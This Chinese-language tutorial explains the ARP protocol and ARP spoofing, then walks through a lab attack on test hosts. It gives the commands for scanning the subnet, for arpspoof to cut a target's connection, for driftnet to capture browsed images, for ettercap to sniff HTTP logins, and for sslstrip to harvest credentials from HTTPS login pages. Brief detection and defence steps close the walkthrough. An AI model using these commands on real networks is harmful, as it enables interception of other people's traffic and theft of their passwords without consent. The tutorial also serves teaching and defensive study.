目录
ARP介绍:
- 定义:ARP是一个TCP/IP协议,用于将IP地址映射到物理网络地址(MAC地址)。
- 作用:在局域网通信中,当设备有数据要发送给另一个设备时,需要知道对方的MAC地址。ARP协议允许设备通过IP地址找到对应的MAC地址,以便进行通信。
- 工作原理:主机发送信息时,将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址。收到返回消息后,将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
- 安全性:ARP协议建立在网络中各个主机互相信任的基础上,因此存在ARP欺骗攻击的风险,攻击者可以向主机发送伪ARP应答报文,导致信息无法到达预期的主机或到达错误的主机
什么是ARP欺骗:
- 定义:ARP欺骗(ARP spoofing),又称ARP毒化,是针对以太网地址解析协议(ARP)的一种攻击技术。它通过发送伪造的ARP数据包,使目标设备误以为攻击者是其网关或其他设备。
- 目的:截获、查看或篡改被攻击者发出的数据包,导致网络连通性问题,甚至使网络上特定计算机或所有计算机无法正常连线。
- 原理:ARP协议用于将IP地址转换为MAC地址。ARP欺骗利用ARP协议的工作原理,通过伪造IP地址和MAC地址,使目标设备的ARP缓存中存入错误的映射关系,从而将数据包发送到错误的地址。
- 影响:ARP欺骗可导致网络隐私泄露、中间人攻击等安全问题,且由于ARP协议建立在互相信任的基础上,因此很难被发现
本次模拟ARP欺骗攻击
使用工具:arpspoof
下载命令:
sudo apt-get install dsniff
准备工作:
本次测试攻击机器IP为:192.168.11.128 靶机IP为:192.168.11.141
确定当前网段存活IP(三种方式)
1.fping扫描:
fping -g 192.168.11.0/24 >> ip.txt
查看扫描结果:
cat ip.txt | grep is
2.arp扫描:
arp-scan 192.168.11.1-192.168.11.254
3.nmap扫描,查看存活主机以及MAC地址:
nmap -sP 192.168.11.0/24
ARP欺骗:
2.确定了攻击IP,接下来进行ARP欺骗
第一种欺骗方式:导致目标机器断网
命令:
arpspoof -i eth0 -t 目标IP -r 指定网关
返回靶机,打开百度,发现断网打不开
第二种欺骗方式:内网截获图片
这里需要换台靶机WIN7 地址为:192.168.11.131
1.命令执行
arpspoof -i eth0 -t 192.168.11.131 -r 192.168.11.2
2.设置流量转发,保证不会断网
方法一:
echo 1 >/proc/sys/net/ipv4/ip_forward
方法二:
vim /etc/sysctl.conf
使得net.ipv4.ip_forward = 1 =0为不转发
更新使用命令
sysctl -p
利用:
使用
driftnet工具,可以捕获win7机器正在浏览的图片
Driftnet是一个监听网络流量并从它观察到的TCP流中提取图像的程序
先下载工具
apt-get install driftnet
截获图片:只能截获HTTP协议
driftnet -i eth0
靶机打开一个HTTP网页
攻击机器显示:
第三种欺骗方式:HTTP账户密码获取
工具:
ettercap:一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络
利用命令:
ettercap -Tq -i eth0
靶机打开HTTP网页的登录框,输入账号密码
攻击机器显示:
第四种欺骗方式:抓取https协议的用户名与密码
修改配置文件:
vim /etc/ettercap/etter.conf 将注释去掉
2.启动第二个终端:
sslstrip是一个命令行工具,用于将HTTPS连接转换为HTTP连接,以便进行中间人攻击
sslstrip -a -f --k
3.启动第三个终端
ettercap -Tq -i eth0
靶机打开HTTPS登录框的页面,这里会自动获取账号密码
和以上HTTP操作一样,不再演示
排查:
1.查看网关MAC
arp -a
靶机在被进行攻击时,这里的网关会变成攻击机器的IP
可以通过查看MAC地址来判断是否被欺骗
2.查看一下网络接口:
netsh i i show in
绑定固定的物理地址:(强制指定一下物理地址)
netsh -c "i i" add neighbors Ethernet0
防御:
1.安装ARP防火墙
2.手动绑定MAC
3.网络接入认证,拒绝非实名认证设备接入网络
4.找到攻击机器,抓包,或者交换机上的端口学习ARP请求,找出来,踢出网络